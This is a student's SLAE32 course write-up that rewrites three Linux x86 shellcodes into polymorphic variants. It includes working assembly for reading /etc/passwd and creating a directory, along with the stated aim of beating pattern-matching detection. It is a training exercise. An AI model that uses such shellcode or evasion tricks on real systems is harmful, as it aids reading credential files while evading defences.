Assignment N°6 - Polymorphism

Assignment Goals

SLAE32

This paper is part of the certification process following the SLAE32 course (x86 Assembly Language and Shellcoding on Linux) intended to prepare me to become a future certified OSCE.

If you are willing to pass the certification I really suggest you to wait until you finished your own certification process before reading that paper.

Why? the goal of that certification is to practice and learn how to solve each assignment by yourself. If you read this paper you will get spoiled and seriously oriented to my personal solution and take the risk to abuse of some shortcuts.

Student ID: SLAE-1530

  • Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching.

  • The polymorphic versions cannot be larger 150% of the existing shellcode.

  • Bonus points for making it shorter in length than original.

Foreword

On Shell-Storm, you will not always find the original assembly code for shellcodes you choose. To solve this issue, we’ve created a tiny Python script to convert a shellcode from its string form to raw format (stdout). We can easily pipe output result to Ndisasm and recover an assembly code very close to the original version.

Converter (Python3)

#!/usr/bin/python3

# Jean-Pierre LESUEUR (@DarkCoderSc)
# www.phrozen.io
# SLAE32

import sys

def bytestr_to_bytearr(data):
	return list(bytearray.fromhex(data.replace("\\x", " ")))

if (len(sys.argv) != 2):
	print("Usage: shellcode_to_raw.py <shellcode[Ex: \\xff\\x90\\x92...]>")
else:
	sys.stdout.buffer.write(bytes(bytestr_to_bytearr(sys.argv[1])))

Usage

local@user:$ chmod +x shellcstr_to_raw.py

local@user:$ ./shellcstr_to_raw.py <shellcode_string> | ndisasm -b32 -

Shellcode N°1 - Read Passwd File.


As first shellcode, we chose the following one : /bin/cat /etc/passwd

Retrieve Assembly Form

We will use our tiny python script to retrieve the assembly form of this shellcode.

local@user:$ ./shellcstr_to_raw.py "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" | ndisasm -b32 -

Result

00000000  31C0              xor eax,eax
00000002  99                cdq
00000003  52                push edx
00000004  682F636174        push dword 0x7461632f
00000009  682F62696E        push dword 0x6e69622f
0000000E  89E3              mov ebx,esp
00000010  52                push edx
00000011  6873737764        push dword 0x64777373
00000016  682F2F7061        push dword 0x61702f2f
0000001B  682F657463        push dword 0x6374652f
00000020  89E1              mov ecx,esp
00000022  B00B              mov al,0xb
00000024  52                push edx
00000025  51                push ecx
00000026  53                push ebx
00000027  89E1              mov ecx,esp
00000029  CD80              int 0x80

Shellcode Purpose

This shellcode is a basic execve() call to execute the following command : /bin/sh -c "cat /etc/passwd"

It uses the stack technique to store execve() parameters.

Original Size is 43 Bytes.

Polymorphic Version

Biggest Changes

Instead of using stack for storing the execve() command, we will use the Jump Call Pop technique.

We need to store two distinct strings for our execve() call. To do so, we will store our execve() payload in the same defined byte array separated by a random byte 0xff.

On run time, we will replaced the 0xff delimiter by NULL characters to break the string in two slices (We want to keep target shellcode free from NULL characters).

In addition of that we will use equivalent instructions to achieve the same original goal. For example instead of doing :

xor eax, eax
xor edx, edx

We will do

xor eax, eax
mov edx, eax

etc..

Result

global _start

_start:
	jmp short _call

_pop:
	xor eax, eax             ; initialize eax register
	mov edx, eax             ; initialize edx

	pop ebx                  ; /bin/cat
	
	mov byte [ebx+0x8], al   ; update 0xff with NULL
	mov byte [ebx+0x14], al  ; update 0xff with NULL

	lea ecx, [ebx+0x9]       ; place ecx to /etc/passwd

	; replace push instructions
	push eax                 ; NULL (EOF Argv)
	push ecx                 ; */etc/passwd
	push ebx                 ; */bin/cat	   

	mov ecx, esp             ; **/bin/cat

	add al, 0xb              ; equal to mov al, 0xb. execve() syscall

	int 0x80                 ; call syscall()
_call:
	call _pop

	; /bin/cat /etc/passwd
	spell: db 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x61, 0x74, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0xff

New Size is 51 Bytes.

Shellcode N°2 - Create new Directory.


For our second shellcode we will use mkdir() && exit() from shell-storm.org.

Retrieve Assembly Form

Like for our first shellcode, we will use our tiny script to recover it original assembly code (as close as possible)

local@user:$ ./shellcstr_to_raw.py "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" | ndisasm -b32 -

Result

00000000  EB16              jmp short 0x18
00000002  5E                pop esi
00000003  31C0              xor eax,eax
00000005  884606            mov [esi+0x6],al
00000008  B027              mov al,0x27
0000000A  8D1E              lea ebx,[esi]
0000000C  66B9ED01          mov cx,0x1ed
00000010  CD80              int 0x80
00000012  B001              mov al,0x1
00000014  31DB              xor ebx,ebx
00000016  CD80              int 0x80
00000018  E8E5FFFFFF        call 0x2
0000001D  6861636B65        push dword 0x656b6361
00000022  64                fs
00000023  23                db 0x23

Shellcode Purpose

This very small shellcode will create a new directory called hacked on current directory. It will use the mkdir syscall to achieve his goal.

The hacked string is stored at the end of the shellcode using the Jump Call Pop technique (6861636B6564).

When directory is created, it will exit gracefully with error code equal to zero.

Original Size is 36 Bytes.

Polymorphic Version

Biggest Changes

This time, we will replace the Jump Call Pop technique by the stack method to store the directory name. Using stack instead of Jump Call Pop will save few bytes for our shellcode.

Apart this change, we will also tweak assembly instructions to achieve same result but using different instructions combinations.

Result

global _start

_start:
	xor eax, eax    ; initialize eax
	cdq             ; initialize edx

	push ax         ; 0 (NULL)
	mov cx, 0x6465  ; "de"
	push cx         ; could also be (push word 0x6465)
	push 0x6b636168 ; "kcah"

	mov al, 0x27    ; mkdir() syscall

	mov ebx, esp    ; directory name
	mov cx, 0x1ed   ; mode	

	int 0x80        ; call syscall

	sub al, 0x26    ; = 0x1, exit() syscall
	mov bl, dl      ; exit code equal zero
	int 0x80        ; call syscall

New Size is 32 Bytes.

Shellcode N°3 - Read File Content.


For our last shellcode, we will choose a more complex one still from shell-storm titled File Reader

Retrieve Assembly Form

Again, we will use our python script to recover the closest possible assembly instructions for our last shellcode.

local@user:$ ./shellcstr_to_raw.py "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff" | ndisasm -b32 -

Result

00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  31C9              xor ecx,ecx
00000006  31D2              xor edx,edx
00000008  EB32              jmp short 0x3c
0000000A  5B                pop ebx
0000000B  B005              mov al,0x5
0000000D  31C9              xor ecx,ecx
0000000F  CD80              int 0x80
00000011  89C6              mov esi,eax
00000013  EB06              jmp short 0x1b
00000015  B001              mov al,0x1
00000017  31DB              xor ebx,ebx
00000019  CD80              int 0x80
0000001B  89F3              mov ebx,esi
0000001D  B003              mov al,0x3
0000001F  83EC01            sub esp,byte +0x1
00000022  8D0C24            lea ecx,[esp]
00000025  B201              mov dl,0x1
00000027  CD80              int 0x80
00000029  31DB              xor ebx,ebx
0000002B  39C3              cmp ebx,eax
0000002D  74E6              jz 0x15
0000002F  B004              mov al,0x4
00000031  B301              mov bl,0x1
00000033  B201              mov dl,0x1
00000035  CD80              int 0x80
00000037  83C401            add esp,byte +0x1
0000003A  EBDF              jmp short 0x1b
0000003C  E8C9FFFFFF        call 0xa
.string "/etc/passwd"

Shellcode Purpose

The purpose of this shellcode is to read the content of any file and write back to stdout file descriptor.

To do so it will smartly read desired file byte by byte until it fail for any reasons (most likely EOF).

The desired file name must be appended at the end of the shellcode. The shellcode is using Jump Call Pop technique to store the file name.

Polymorphic Version

Biggest Changes

This time we wont switch between Jump Call Pop and Stack techniques for storing strings. We will scramble most instructions to achieve the same goal.

The main objective of this polymorphic version was to:

  1. Reduce the size of the payload (not to his maximum tho, this is not our goal).
  2. Achieve the same result while altering most original instructions.

While creating the polymorphic version, we kept in mind registry status at each steps, even through jump calls to create something more difficult to understand.

One example and very efficient to evade some weak detection systems was to used the predictable return value of write() call, and use it value to reassign a new syscall number.

Result

global _start

_start:
	xor ecx, ecx           ; initialize ecx
	mul ecx                ; initialize eax, edx

	jmp short _call        ; start Jump Call Pop
_pop:
	mov ebx, [esp]	       ; recover filename (equivalent to pop ebx)

	add al, 0x6
	dec al                 ; 0x5 open() syscall number

	int 0x80               ; call syscall

	xchg ebx, eax          ; assign file handle to ebx

	mov esi, ebx           ; copy file handle to esi

	xchg eax, ecx          ; exchange ecx and eax values (eax = 0)

	mov ecx, esp           ; our *buffer

	inc edx                ; read file byte by byte

	inc eax                ; eax = 1           
_read_chunk:
	add al, 0x2            ; 0x3 read() syscall number	

	int 0x80               ; call syscall

	cmp eax, edx           ; check if eax is equal to edx

	jne _exit              ; if not equal we've probably reached the EOF

	add al, 0x3            ; 0x4 write() syscall number

	mov ebx, edx           ; edx = 1 so ebx = 1 = stdout file descriptor number

	int 0x80               ; call syscall

	mov ebx, esi           ; restore opened file descriptor (handle)

	jmp short _read_chunk  ; read next chunk	
_exit:
	mov al, dl             ; edx = 0x1 so eax = 0x1 = exit() syscall
	dec edx                ; edx = 0
	xchg ebx, edx          ; ebx = 0	

	int 0x80               ; call syscall
_call:
	call _pop
	; filename: db 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64

New Size is 53 Bytes.

Afterword

You will find all codes on the following Github repository : https://github.com/DarkCoderSc/slae32-polymophism

comments powered by Disqus